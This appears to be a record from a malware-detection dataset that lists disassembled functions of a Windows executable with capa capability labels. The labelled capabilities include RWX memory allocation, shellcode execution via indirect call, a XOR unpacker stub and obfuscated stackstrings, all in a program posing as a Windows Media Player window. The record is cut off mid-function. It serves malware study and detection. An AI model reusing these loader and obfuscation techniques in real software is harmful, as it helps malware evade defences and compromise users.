joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4016e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hide graphical window

Disassembly:
sub esp, 0x44
push esi
xor esi, esi
cmp dword [esp + 0x50], esi
push edi
mov edi, dword [esp + 0x50]
jne 0x40177e
xor eax, eax
push 0x65
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x38], eax
push edi
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x2c], 3
mov dword [esp + 0x30], 0x401530
mov dword [esp + 0x3c], edi
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x7f00
push esi
mov dword [esp + 0x40], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push 1
mov dword [esp + 0x40], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [esp + 0x40], eax
lea eax, [esp + 0x24]
push eax
mov dword [esp + 0x4c], str.WMPlayerWindowEditor
call dword [sym.imp.USER32.dll_RegisterClassA]
test ax, ax
jne 0x40177e
pop edi
xor eax, eax
pop esi
add esp, 0x44
ret 0x10
mov dword [esp + 0x54], esi
mov dword [esp + 0x50], esi
call fcn.004013c0
test eax, eax
jne 0x4017b4
push 0x408360
call fcn.00401140
add esp, 4
test eax, eax
je 0x4017b4
push 0x408350
push 0x400000
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x50], eax
push ebx
push ebp
lea ecx, [esp + 0x5c]
push ecx
push 0x409
push 0xc92
push 0x9ce
call fcn.00401190
mov ebp, eax
add esp, 0x10
cmp ebp, esi
je 0x401803
mov ebx, dword [esp + 0x5c]
push 0x40
push 0x3000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x401803
push esi
push 0x21
push str.pOsO8VilFDjlFUfI2L_8lCA1L6_J8_
push ebx
push ebp
call dword [esp + 0x6c]
add esp, 0x14
call esi
push 0
push edi
push 0
push 0
push 0x89
push 0x113
push 0x80000000
push 0x80000000
push 0x10ca0000
push str.Windows_Media_Player_HWND_Editor
push str.WMPlayerWindowEditor
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov edx, dword [esp + 0x64]
mov esi, eax
push edx
push esi
mov dword [0x40ace4], edi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0
push 0
push 0
lea eax, [esp + 0x1c]
mov dword [0x40ace0], esi
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
push eax
call esi
test eax, eax
je 0x40189f
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x401880
lea ecx, [esp + 0x10]
push ecx
call edi
lea edx, [esp + 0x10]
push edx
call ebx
push 0
push 0
push 0
lea eax, [esp + 0x1c]
push eax
call esi
test eax, eax
jne 0x401880
mov eax, dword [esp + 0x18]
pop ebp
pop ebx
pop edi
pop esi
add esp, 0x44
ret 0x10

Function at 0x4019bf
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40a02c]
jne 0x4019c9
repz ret
jmp fcn.004030c6
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x432006
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
call 0x43200c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x40729f
sub eax, 0x407245
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x432030
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x4017b0
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xc
xor eax, eax
cmp dword [esp + 0x20], 0
je 0x401890
mov ebx, dword [esp + 0x24]
test ebx, ebx
je 0x401890
mov ebp, dword [esp + 0x28]
test ebp, ebp
je 0x4017fa
mov ecx, 0x1505
xor edi, edi
nop
movzx edx, byte [ebx + edi]
test edx, edx
je 0x401801
mov esi, ecx
shl esi, 5
add esi, ecx
add esi, edx
inc edi
mov ecx, esi
cmp ebp, edi
jne 0x4017e0
jmp 0x401803
mov esi, 0x1505
jmp 0x401803
mov esi, ecx
mov ecx, dword [esp + 0x20]
mov edi, dword [ecx + 0x20]
mov ebx, edi
sub ebx, 1
jb 0x401890
and ebx, esi
mov eax, edi
not eax
and eax, 1
mov edx, edi
and edx, 0xfffffffe
sub edx, eax
mov dword [esp + 8], edx
mov eax, dword [ecx + 4]
mov dword [esp + 4], eax
jmp 0x401834
inc ebx
dec edi
je 0x40188e
mov eax, ebx
and eax, dword [esp + 8]
mov edx, dword [esp + 4]
mov ebp, dword [edx + eax*4]
cmp ebp, 0xffffffff
je 0x40188e
mov eax, dword [ecx + 8]
cmp dword [eax + ebp*4], esi
jne 0x401830
mov eax, dword [ecx + 0xc]
mov eax, dword [eax + ebp*4]
mov dword [esp], eax
push eax
call fcn.00408530
mov ecx, dword [esp + 0x24]
add esp, 4
cmp eax, dword [esp + 0x28]
jne 0x401830
push dword [esp + 0x28]
push dword [esp + 4]
push dword [esp + 0x2c]
call fcn.00408550
mov ecx, dword [esp + 0x2c]
add esp, 0xc
test eax, eax
jne 0x401830
mov eax, dword [ecx + 0x10]
mov eax, dword [eax + ebp*4]
jmp 0x401890
xor eax, eax
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x401cf0
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov eax, 0xffffffff
cmp dword [esp + 0x24], 0
je 0x401df4
mov esi, dword [esp + 0x28]
test esi, esi
je 0x401df4
cmp dword [esp + 0x2c], 0
je 0x401df4
push esi
call fcn.00408530
add esp, 4
test eax, eax
je 0x401d5a
mov ecx, 0x1505
xor edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esi + edi]
test edx, edx
je 0x401d61
mov ebx, ecx
shl ebx, 5
add ebx, ecx
add ebx, edx
inc edi
mov ecx, ebx
cmp eax, edi
jne 0x401d40
jmp 0x401d63
mov ebx, 0x1505
jmp 0x401d63
mov ebx, ecx
mov ecx, dword [esp + 0x24]
mov edi, dword [ecx + 0x20]
mov esi, edi
sub esi, 1
jae 0x401dfc
mov ebp, 0xffffffff
mov eax, dword [ecx + 0x18]
cmp eax, dword [ecx + 0x1c]
jb 0x401db9
call fcn.00401f10
mov ecx, eax
mov eax, 0xffffffff
test ecx, ecx
mov ecx, dword [esp + 0x28]
jne 0x401df4
push ecx
call fcn.00408530
add esp, 4
mov dword [esp], eax
mov ecx, dword [esp + 0x24]
mov edi, dword [ecx + 0x20]
mov esi, edi
sub esi, 1
jae 0x401e80
mov ebp, 0xffffffff
mov eax, dword [ecx + 0xc]
mov edx, dword [ecx + 0x18]
mov esi, dword [esp + 0x28]
mov dword [eax + edx*4], esi
mov eax, dword [ecx + 4]
mov edx, dword [ecx + 0x18]
mov dword [eax + ebp*4], edx
mov eax, dword [ecx + 0x10]
mov esi, dword [esp + 0x2c]
mov dword [eax + edx*4], esi
mov eax, dword [ecx + 0x14]
mov edx, dword [ecx + 0x18]
mov dword [eax + edx*4], ebp
mov eax, dword [ecx + 8]
mov edx, dword [ecx + 0x18]
mov dword [eax + edx*4], ebx
inc dword [ecx + 0x18]
mov eax, dword [ecx]
mov dword [esi], eax
xor eax, eax
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [esp], eax
and esi, ebx
mov eax, edi
not eax
and eax, 1
mov edx, edi
and edx, 0xfffffffe
sub edx, eax
mov dword [esp + 8], edx
mov eax, dword [ecx + 4]
mov dword [esp + 4], eax
jmp 0x401e28
inc esi
dec edi
je 0x401d75
mov ebp, esi
and ebp, dword [esp + 8]
mov eax, dword [esp + 4]
mov eax, dword [eax + ebp*4]
cmp eax, 0xffffffff
je 0x401d7a
mov edx, dword [ecx + 8]
cmp dword [edx + eax*4], ebx
jne 0x401e20
mov ecx, dword [ecx + 0xc]
mov ebp, dword [ecx + eax*4]
push ebp
call fcn.00408530
mov ecx, dword [esp + 0x28]
add esp, 4
cmp eax, dword [esp]
jne 0x401e20
push dword [esp]
push ebp
push dword [esp + 0x30]
call fcn.00408550
mov ecx, dword [esp + 0x30]
add esp, 0xc
test eax, eax
jne 0x401e20
mov eax, 0xffffffff
jmp 0x401df4
and esi, ebx
mov eax, edi
not eax
and eax, 1
mov edx, edi
and edx, 0xfffffffe
sub edx, eax
mov dword [esp + 8], edx
mov eax, dword [ecx + 4]
mov dword [esp + 4], eax
jmp 0x401ea8
inc esi
dec edi
je 0x401db4
mov ebp, esi
and ebp, dword [esp + 8]
mov eax, dword [esp + 4]
mov eax, dword [eax + ebp*4]
cmp eax, 0xffffffff
je 0x401db9
mov edx, dword [ecx + 8]
cmp dword [edx + eax*4], ebx
jne 0x401ea0
mov ecx, dword [ecx + 0xc]
mov eax, dword [ecx + eax*4]
mov dword [esp + 0xc], eax
push eax
call fcn.00408530
mov ecx, dword [esp + 0x28]
add esp, 4
cmp eax, dword [esp]
jne 0x401ea0
push dword [esp]
push dword [esp + 0x10]
push dword [esp + 0x30]
call fcn.00408550
mov ecx, dword [esp + 0x30]
add esp, 0xc
test eax, eax
jne 0x401ea0
jmp 0x401db9
Function at 0x402610
Capabilities:
Compute adler32 checksum
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov ebp, dword [esp + 0x28]
test ebp, ebp
je 0x4027c6
mov ebx, dword [esp + 0x2c]
mov edi, dword [esp + 0x24]
mov esi, edi
shr esi, 0x10
mov eax, edi
or eax, 0xffff
xor edi, 0xffff0000
and edi, eax
test ebx, ebx
je 0x4027bf
mov ecx, 0x5e6ea9af
mov eax, ebx
mul ecx
mov ecx, ebx
shr edx, 0xb
imul eax, edx, 0x15b0
sub ebx, eax
jmp 0x4026a6
mov eax, dword [esp + 4]
sub eax, dword [esp]
add ebp, eax
mov ecx, dword [esp + 8]
mov eax, edi
mov edx, 0x80078071
mul edx
mov ebx, edx
shr ebx, 0xf
mov eax, esi
mov edx, 0x80078071
mul edx
imul eax, ebx, 0xfff1
sub edi, eax
shr edx, 0xf
imul eax, edx, 0xfff1
sub esi, eax
sub ecx, dword [esp + 4]
mov ebx, 0x15b0
je 0x4027bf
xor edx, edx
cmp ebx, 8
mov dword [esp + 4], ebx
mov dword [esp + 8], ecx
jb 0x40272f
and ebx, 0x1ff8
mov dword [esp], ebx
xor eax, eax
mov edx, eax
movzx eax, byte [ebp + eax]
add eax, edi
mov ecx, eax
and ecx, esi
xor esi, eax
movzx edi, byte [ebp + edx + 1]
add edi, eax
movzx ebx, byte [ebp + edx + 2]
add ebx, edi
add edi, esi
lea eax, [edi + ecx*2]
add eax, ebx
movzx ecx, byte [ebp + edx + 3]
add ecx, ebx
mov esi, eax
and esi, ecx
xor eax, ecx
movzx edi, byte [ebp + edx + 4]
add edi, ecx
movzx ebx, byte [ebp + edx + 5]
add ebx, edi
movzx ecx, byte [ebp + edx + 6]
add ecx, ebx
add ebx, edi
add ebx, eax
movzx edi, byte [ebp + edx + 7]
add edi, ecx
add ebx, ecx
lea esi, [ebx + esi*2]
mov ebx, dword [esp + 4]
add esi, edi
lea eax, [edx + 8]
add edx, 0xf
cmp edx, ebx
jb 0x4026c0
add ebp, eax
mov ecx, dword [esp + 8]
mov edx, dword [esp]
mov eax, edx
sub eax, ebx
jae 0x40266d
mov dword [esp + 0xc], eax
mov eax, ebx
and eax, 3
mov dword [esp], edx
je 0x40276f
neg eax
xor ebx, ebx
mov edx, ebp
nop
nop
nop
movzx ecx, byte [edx]
inc edx
add edi, ecx
add esi, edi
dec ebx
cmp eax, ebx
jne 0x402750
mov eax, dword [esp]
sub eax, ebx
cmp dword [esp + 0xc], 0xfffffffc
ja 0x402660
jmp 0x40277e
mov eax, edx
mov edx, ebp
cmp dword [esp + 0xc], 0xfffffffc
ja 0x402660
mov ebx, dword [esp + 4]
sub ebx, eax
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [edx + eax]
add ecx, edi
add esi, ecx
movzx edi, byte [edx + eax + 1]
add edi, ecx
add esi, edi
movzx ecx, byte [edx + eax + 2]
add ecx, edi
add esi, ecx
movzx edi, byte [edx + eax + 3]
add edi, ecx
add esi, edi
add eax, 4
cmp ebx, eax
jne 0x402790
jmp 0x402660
shl esi, 0x10
add esi, edi
jmp 0x4027cb
mov esi, 1
mov eax, esi
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4027e0
Capabilities:
Encode data using xor

Disassembly:
push ebx
push edi
push esi
mov ecx, dword [esp + 0x14]
test ecx, ecx
je 0x40280e
mov ebx, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
test ebx, ebx
je 0x4028ac
not eax
test bl, 1
jne 0x402815
mov edx, ebx
cmp ebx, 1
jne 0x402846
jmp 0x4028aa
xor eax, eax
jmp 0x4028ac
lea edx, [ebx - 1]
movzx esi, byte [ecx]
mov edi, eax
shr edi, 4
xor eax, esi
and eax, 0xf
xor edi, dword [eax*4 + 0x43f80c]
inc ecx
mov eax, edi
shr eax, 4
and edi, 0xf
shr esi, 4
xor esi, edi
xor eax, dword [esi*4 + 0x43f80c]
cmp ebx, 1
je 0x4028aa
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [ecx + esi]
mov ebx, eax
shr ebx, 4
xor eax, edi
and eax, 0xf
xor ebx, dword [eax*4 + 0x43f80c]
mov eax, ebx
shr eax, 4
and ebx, 0xf
shr edi, 4
xor edi, ebx
xor eax, dword [edi*4 + 0x43f80c]
movzx edi, byte [ecx + esi + 1]
mov ebx, eax
shr ebx, 4
xor eax, edi
and eax, 0xf
xor ebx, dword [eax*4 + 0x43f80c]
mov eax, ebx
shr eax, 4
and ebx, 0xf
shr edi, 4
xor edi, ebx
xor eax, dword [edi*4 + 0x43f80c]
add esi, 2
cmp edx, esi
jne 0x402850
not eax
pop esi
pop edi
pop ebx
ret
Function at 0x408370
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, dword [esp + 0x14]
mov ebx, dword [edx + 8]
mov esi, 1
cmp ebx, eax
jae 0x4083dc
mov edi, edx
cmp dword [esp + 0x18], 0
je 0x4083be
cmp ebx, 1
adc ebx, 0
cmp ebx, eax
jae 0x4083c0
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ebx
and edx, 2
mov ebp, ebx
or ebx, 2
imul ebx, edx
xor edx, 2
and ebp, 0xfffffffd
imul ebp, edx
add ebx, ebp
cmp ebx, eax
jb 0x4083a0
jmp 0x4083c0
mov ebx, eax
push ebx
push dword [edi + 0xc]
push dword [edi]
push dword [ecx + 0x34]
call dword [ecx + 0x30]
add esp, 0x10
test eax, eax
je 0x4083da
mov dword [edi], eax
mov dword [edi + 8], ebx
jmp 0x4083dc
xor esi, esi
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x408a60
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov ecx, dword [esp + 4]
mov dword [0x447ca0], ecx
mov eax, 0xfffffd92
nop
mov edx, ecx
shr edx, 0x1e
xor edx, ecx
imul ecx, edx, 0x6c078965
add ecx, eax
add ecx, 0x26f
mov dword [eax*4 + 0x44865c], ecx
test eax, eax
je 0x408ab1
mov edx, ecx
shr edx, 0x1e
xor edx, ecx
imul ecx, edx, 0x6c078965
add ecx, eax
add ecx, 0x270
mov dword [eax*4 + 0x448660], ecx
add eax, 2
jmp 0x408a70
mov dword [0x447c9c], 0x270
ret

Function at 0x408ac0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
mov eax, dword [0x447c9c]
cmp eax, 0x270
jne 0x408b1f
mov eax, 0xfffff640
mov edx, dword [0x447ca0]
nop
nop
nop
nop
nop
nop
nop
nop
and edx, 0x80000000
mov esi, dword [eax + 0x448664]
mov ecx, esi
and ecx, 0x7ffffffe
or ecx, edx
mov edx, esi
and esi, 1
neg esi
and esi, 0x9908b0df
xor esi, dword [eax + 0x448c94]
shr ecx, 1
xor esi, ecx
mov dword [eax + 0x449020], esi
add eax, 4
jne 0x408ae0
mov eax, 0x270
jmp 0x408b35
cmp eax, 0x4e0
jb 0x408b35
mov ecx, 0x447c9c
call fcn.00408e20
mov eax, dword [0x447c9c]
lea ecx, [eax + 1]
mov dword [0x447c9c], ecx
mov eax, dword [eax*4 + 0x447ca0]
mov ecx, eax
shr ecx, 0xb
and ecx, dword [0x449020]
xor ecx, eax
mov eax, ecx
shl eax, 7
and eax, 0x9d2c5680
xor eax, ecx
mov ecx, eax
shl ecx, 0xf
and ecx, 0xefc40000
xor ecx, eax
shr ecx, 0x12
and eax, 0x7fff
xor eax, ecx
pop esi
ret
Function at 0x408e20
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
push edi
push esi
mov esi, dword [ecx + 0x9c4]
mov eax, 0x3fe
nop
nop
and esi, 0x80000000
mov edi, dword [ecx + eax*4 - 0x630]
mov edx, edi
and edx, 0x7ffffffe
or edx, esi
shr edx, 1
mov esi, edi
and edi, 1
neg edi
and edi, 0x9908b0df
xor edi, dword [ecx + eax*4]
xor edi, edx
mov dword [ecx + eax*4 - 0xff4], edi
inc eax
cmp eax, 0x4e1
jne 0x408e30
mov edi, dword [ecx + 0xd50]
mov eax, 0x355
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
and edi, 0x80000000
mov edx, dword [ecx + eax*4]
mov ebx, edx
and ebx, 0x7ffffffe
or ebx, edi
shr ebx, 1
mov esi, edx
and esi, 1
neg esi
and esi, 0x9908b0df
mov edi, esi
and edi, ebx
add esi, ebx
add edi, edi
sub esi, edi
xor esi, dword [ecx + eax*4 - 0xd50]
mov edi, edx
mov dword [ecx + eax*4 - 0x9c4], esi
inc eax
cmp eax, 0x4e1
jne 0x408e80
mov esi, SysReAllocString
and esi, dword [ecx + 0x1380]
mov eax, dword [ecx + 4]
mov edx, eax
and edx, 0x7ffffffe
or edx, esi
shr edx, 1
and eax, 1
neg eax
and eax, 0x9908b0df
mov esi, eax
and esi, edx
add eax, edx
add esi, esi
sub eax, esi
xor eax, dword [ecx + 0x634]
mov dword [ecx + 0x9c0], eax
mov dword [ecx], 0
pop esi
pop edi
pop ebx
ret
Function at 0x409f30
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x224
mov eax, dword [0x44907c]
mov dword [esp + 0x1a4], 0x57564148
mov word [esp + 0x1a8], 0
mov ecx, 0x13f55047
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx - 0x13f54ea3]
lea esi, [ecx - 0x13f54f59]
and esi, edx
lea edi, [ecx + edx]
dec edi
and edi, 1
add esi, esi
sub edx, esi
add edx, ecx
or edx, 1
sub edx, edi
inc dl
mov byte [esp + ecx - 0x13f54ea3], dl
inc ecx
cmp ecx, 0x13f5504d
jne 0x409f60
mov ecx, dword [esp + 0x1a4]
mov dword [esp + 0x14], 0x8f398903
mov dword [esp + 0x18], 0x83218dfa
mov dword [esp + 0x1c], 0x87f081f7
mov dword [esp + 0x20], 0x9b3e85f6
mov dword [esp + 0x24], 0x9f229924
mov word [esp + 0x28], 0x9d9c
mov dword [esp + 0x2a], 0
mov edx, 0xec876fa2
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + edx + 0x13789072]
xor esi, edx
lea edi, [esi + 0xd5]
mov ebx, esi
not ebx
and ebx, 1
or esi, 0xfe
or edi, 1
and edi, esi
lea ebx, [edi + ebx*2]
mov byte [esp + edx + 0x13789072], bl
inc edx
cmp edx, 0xec876fbc
jne 0x409fe0
lea edx, [esp + 0x14]
push ecx
push 0
push edx
call eax
mov ecx, 0x449080
push eax
call fcn.00438730
movzx eax, al
mov eax, dword [eax*4 + 0x4429a0]
mov ecx, 0x55dff5fa
xor ecx, dword [0x4429a8]
add eax, ecx
inc eax
xor ebx, ebx
jmp eax
Function at 0x40baf0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x43c
mov dword [esp + 0x3c], 0x37c539ed
mov dword [esp + 0x40], 0x33cb35b2
mov dword [esp + 0x44], 0xcf3a31c4
mov dword [esp + 0x48], 0xcbf9cd2d
mov dword [esp + 0x4c], 0xc7f4c905
mov dword [esp + 0x50], 0xc3e2c5f4
mov dword [esp + 0x54], 0xdf35c1f8
mov dword [esp + 0x58], 0xdb28dd25
mov dword [esp + 0x5c], 0xd725d924
mov dword [esp + 0x60], 0xd35dd55f
mov dword [esp + 0x64], 0xef3cd1f0
mov dword [esp + 0x68], 0xebcaed00
mov dword [esp + 0x6c], 0xe7d6e9d9
mov dword [esp + 0x70], 0xe3d2e5d6
mov dword [esp + 0x74], 0xffdee127
mov dword [esp + 0x78], 0xfb03fd17
mov dword [esp + 0x7c], 0xf73cf90a
mov dword [esp + 0x80], 0xf335f538
mov dword [esp + 0x84], 0x8f06f1d0
mov dword [esp + 0x88], 0x8b468d46
mov dword [esp + 0x8c], 0x87a689b1
mov dword [esp + 0x90], 0x83728545
mov dword [esp + 0x94], 0x9f6a8170
mov dword [esp + 0x98], 0x9b719d61
mov dword [esp + 0x9c], 0x97689965
mov dword [esp + 0xa0], 0x936b9543
mov dword [esp + 0xa4], 0xaf9d911c
mov dword [esp + 0xa8], 0xab65ad61
mov dword [esp + 0xac], 0xa794a963
mov dword [esp + 0xb0], 0xa368a56b
mov dword [esp + 0xb4], 0xbf86a180
mov dword [esp + 0xb8], 0xbb62bd6b
mov dword [esp + 0xbc], 0xb763b954
mov dword [esp + 0xc0], 0xb386b560
mov dword [esp + 0xc4], 0x4fbab190
mov dword [esp + 0xc8], 0x4bbd4db5
mov dword [esp + 0xcc], 0x476649b5
mov dword [esp + 0xd0], 0x43bf459f
mov dword [esp + 0xd4], 0x5fa941bf
mov dword [esp + 0xd8], 0x5b635daf
mov dword [esp + 0xdc], 0x57895978
mov dword [esp + 0xe0], 0x53dc55ac
mov dword [esp + 0xe4], 0x6f9b51a3
mov dword [esp + 0xe8], 0x6b596d91
mov dword [esp + 0xec], 0x67576959
mov dword [esp + 0xf0], 0x635065ad
mov dword [esp + 0xf4], 0x7f4c6150
mov dword [esp + 0xf8], 0x7b487d4c
mov dword [esp + 0xfc], 0x77567948
mov dword [esp + 0x100], 0x7393759b
mov dword [esp + 0x104], 0xfef718a
mov dword [esp + 0x108], 0xbf30d82
mov dword [esp + 0x10c], 0x7cb093b
mov dword [esp + 0x110], 0x3c905cb
mov dword [esp + 0x114], 0x1fd10132
mov dword [esp + 0x118], 0x1b1a1dd6
mov byte [esp + 0x11e], 0
mov word [esp + 0x11c], 0
mov ebp, dword [0x44904c]
mov ecx, 0x42330a76
mov edx, 0x89
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx - 0x42330a3a]
mov edi, edx
xor edi, ecx
and edi, esi
xor edi, ecx
add edi, 0xeaa14196
mov esi, edi
and esi, 0x31
xor edi, 0xb1
lea eax, [edi + esi*2]
add al, 0x6b
mov byte [esp + ecx - 0x42330a3a], al
inc ecx
dec edx
cmp ecx, 0x42330b59
jne 0x40bd60
lea edi, [esp + 0x3c]
push 0
push 0
push 0
push 0
push edi
call ebp
xor ecx, ecx
test eax, eax
setne cl
mov edx, dword [ecx*4 + 0x442db8]
mov ecx, 0xbb324b24
xor ecx, dword [0x442dc0]
add ecx, edx
inc ecx
jmp ecx
Function at 0x40c5f0
Capabilities:
Contain obfuscated stackstrings
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x23c
mov dword [esp + 0x3c], 0x3745396d
mov dword [esp + 0x40], 0x334b35b2
mov dword [esp + 0x44], 0x4f3a3144
mov dword [esp + 0x48], 0x4b794d2d
mov dword [esp + 0x4c], 0x47744905
mov dword [esp + 0x50], 0x43624574
mov dword [esp + 0x54], 0x5f354178
mov dword [esp + 0x58], 0x5b285d25
mov dword [esp + 0x5c], 0x57255924
mov dword [esp + 0x60], 0x53dd55df
mov dword [esp + 0x64], 0x6f3c5170
mov dword [esp + 0x68], 0x6b4a6d00
mov dword [esp + 0x6c], 0x67566959
mov dword [esp + 0x70], 0x63526556
mov dword [esp + 0x74], 0x7f5e6127
mov dword [esp + 0x78], 0x7b037d17
mov dword [esp + 0x7c], 0x773c790a
mov dword [esp + 0x80], 0x73357538
mov dword [esp + 0x84], 0x8f067150
mov dword [esp + 0x88], 0x8bc68dc6
mov dword [esp + 0x8c], 0x87a689b1
mov dword [esp + 0x90], 0x83f285c5
mov dword [esp + 0x94], 0x9fea81f0
mov dword [esp + 0x98], 0x9bf19de1
mov dword [esp + 0x9c], 0x97e899e5
mov dword [esp + 0xa0], 0x93eb95c3
mov dword [esp + 0xa4], 0xaf9d911c
mov dword [esp + 0xa8], 0xabe5ade1
mov dword [esp + 0xac], 0xa794a9e3
mov dword [esp + 0xb0], 0xa3e8a5eb
mov dword [esp + 0xb4], 0xbf86a180
mov dword [esp + 0xb8], 0xbbe2bdeb
mov dword [esp + 0xbc], 0xb7e3b9d4
mov dword [esp + 0xc0], 0xb386b5e0
mov dword [esp + 0xc4], 0xcfbab190
mov dword [esp + 0xc8], 0xcbbdcdb5
mov dword [esp + 0xcc], 0xc7e6c9b5
mov dword [esp + 0xd0], 0xc3bfc59f
mov dword [esp + 0xd4], 0xdfa9c1bf
mov dword [esp + 0xd8], 0xdbe3ddaf
mov dword [esp + 0xdc], 0xd789d9f8
mov dword [esp + 0xe0], 0xd35cd5ac
mov dword [esp + 0xe4], 0xef9bd1a3
mov dword [esp + 0xe8], 0xebd9ed91
mov dword [esp + 0xec], 0xe7d7e9d9
mov dword [esp + 0xf0], 0xe3d0e5ad
mov dword [esp + 0xf4], 0xffcce1d0
mov dword [esp + 0xf8], 0xfbc8fdcc
mov dword [esp + 0xfc], 0xf7d6f9c8
mov dword [esp + 0x100], 0xf393f59b
mov dword [esp + 0x104], 0xf6ff18a
mov dword [esp + 0x108], 0xb730d82
mov dword [esp + 0x10c], 0x74b093b
mov dword [esp + 0x110], 0x349054b
mov dword [esp + 0x114], 0x1f510132
mov dword [esp + 0x118], 0x1b1a1d56
mov dword [esp + 0x11c], 0
mov eax, dword [0x44904c]
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea edx, [ecx + 0x36]
mov esi, 0x49
sub esi, ecx
and esi, 0xd8
and edx, 0x27
or edx, esi
xor dl, byte [esp + ecx + 0x3c]
xor dl, 0xd8
add dl, 0x72
mov byte [esp + ecx + 0x3c], dl
mov edx, ecx
and edx, 1
xor ecx, 1
lea ecx, [ecx + edx*2]
cmp ecx, 0xe4
jb 0x40c850
lea ebp, [esp + 0x3c]
push 0
push 0
push 0
push 0
push ebp
call eax
xor ecx, ecx
test eax, eax
setne cl
mov edx, dword [ecx*4 + 0x443008]
mov ecx, 0x34fd2921
xor ecx, dword [0x443010]
add ecx, edx
inc ecx
jmp ecx
Function at 0x4139d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x18
mov ebx, dword [esp + 0x34]
mov eax, dword [esp + 0x30]
mov esi, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [ebx + esi + 2], 0
lea esi, [esi + 2]
jne 0x4139f0
mov edi, dword [eax + 4]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [edi + eax + 2], 0
lea eax, [eax + 2]
jne 0x413a10
sar esi, 1
sar eax, 1
lea ecx, [esi + eax]
add ecx, 2
test ecx, ecx
jns 0x413a30
mov eax, 0xffffffff
jmp 0x413a39
add eax, esi
lea eax, [eax*2 + 4]
push eax
call fcn.00408420
add esp, 4
mov ebp, eax
movzx ecx, word [edi]
test cx, cx
